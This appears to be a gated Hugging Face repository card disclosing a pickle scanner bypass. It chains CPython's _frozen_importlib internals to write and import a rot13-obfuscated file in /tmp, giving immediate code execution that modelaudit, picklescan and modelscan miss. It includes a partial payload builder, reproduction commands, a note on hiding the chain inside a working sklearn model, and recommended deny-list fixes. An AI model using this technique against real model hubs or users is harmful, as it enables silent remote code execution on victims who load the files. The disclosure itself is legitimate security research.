You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
CPython _write_atomic + SourceFileLoader — Immediate RCE
Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request — see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 8 | Yes — 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
Same CPython internal bypass as the .pth persistence strategy, but achieves immediate code execution rather than persistence. The chain writes a .py file to /tmp/ and immediately imports it using Python's internal import machinery.
All four functions are from _frozen_importlib / _frozen_importlib_external, which are not in ALWAYS_DANGEROUS_MODULES because the underscore prefix doesn't match the importlib prefix in the deny list.
SourceFileLoader takes an absolute file path — it doesn't search sys.path. Writing to /tmp/ works universally (always exists, always writable).
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(canary_path: str, tmp_py: str) -> bytes:
payload_source = f"import os; os.system('echo tmp_import_pwned > {canary_path}')\n"
rot13_payload = codecs.encode(payload_source, "rot_13")
ops = bytearray(b"\x80\x04")
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-cpython-tmp-import
cd pickle-bypass-cpython-tmp-import
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
- Add
_frozen_importlib,_frozen_importlib_externaltoALWAYS_DANGEROUS_MODULES - Or add individual dangerous functions to
ALWAYS_DANGEROUS_FUNCTIONS:_frozen_importlib_external._write_atomic,_frozen_importlib_external.SourceFileLoader,_frozen_importlib._load
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently — the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
CPython _write_atomic + SourceFileLoader — Immediate RCE
Score: 0 CRITICAL, 4 WARNING
Effect: Immediate RCE during pickle.loads() — no second step required
Scanner version: modelaudit 0.2.37
Mechanism
Same CPython internal bypass as the .pth persistence strategy, but achieves immediate code execution rather than persistence. The chain writes a .py file to /tmp/ and immediately imports it using Python's internal import machinery.
All four functions are from _frozen_importlib / _frozen_importlib_external, which are not in ALWAYS_DANGEROUS_MODULES because the underscore prefix doesn't match the importlib prefix in the deny list.
SourceFileLoader takes an absolute file path — it doesn't search sys.path. Writing to /tmp/ works universally (always exists, always writable).
Pickle Structure
_codecs.encode(rot13_payload, 'rot_13') → source string [0 findings]
_codecs.encode(source, 'utf-8') → payload bytes [0 findings]
_write_atomic('/tmp/_m.py', payload_bytes, 0o666) → writes file [WARNING 1]
SourceFileLoader('_m', '/tmp/_m.py') → loader object [WARNING 2]
ModuleSpec('_m', loader) → import spec [WARNING 3]
_load(spec) → EXECUTES /tmp/_m.py [WARNING 4]
Comparison with .pth Strategy
| Strategy 2 (.pth) | Strategy 3 (tmp import) | |
|---|---|---|
| Execution timing | Next Python startup | Immediate |
| Persistence | Permanent | One-shot (temp file) |
| Path requirement | Must reach site-packages | /tmp/ (universal) |
| Warnings | 3 | 4 |
Trojan Model Integration
The exploit chain can be prepended to a real sklearn model's pickle opcodes. The exploit runs silently (all intermediate results are POPped), then the real model is reconstructed and returned. The victim gets a working model, never knowing the exploit fired.
Recommended Fixes
- Add
_frozen_importlib,_frozen_importlib_externaltoALWAYS_DANGEROUS_MODULES - Or add individual dangerous functions to
ALWAYS_DANGEROUS_FUNCTIONS:_frozen_importlib_external._write_atomic,_frozen_importlib_external.SourceFileLoader,_frozen_importlib._load
General Analysis — Security Research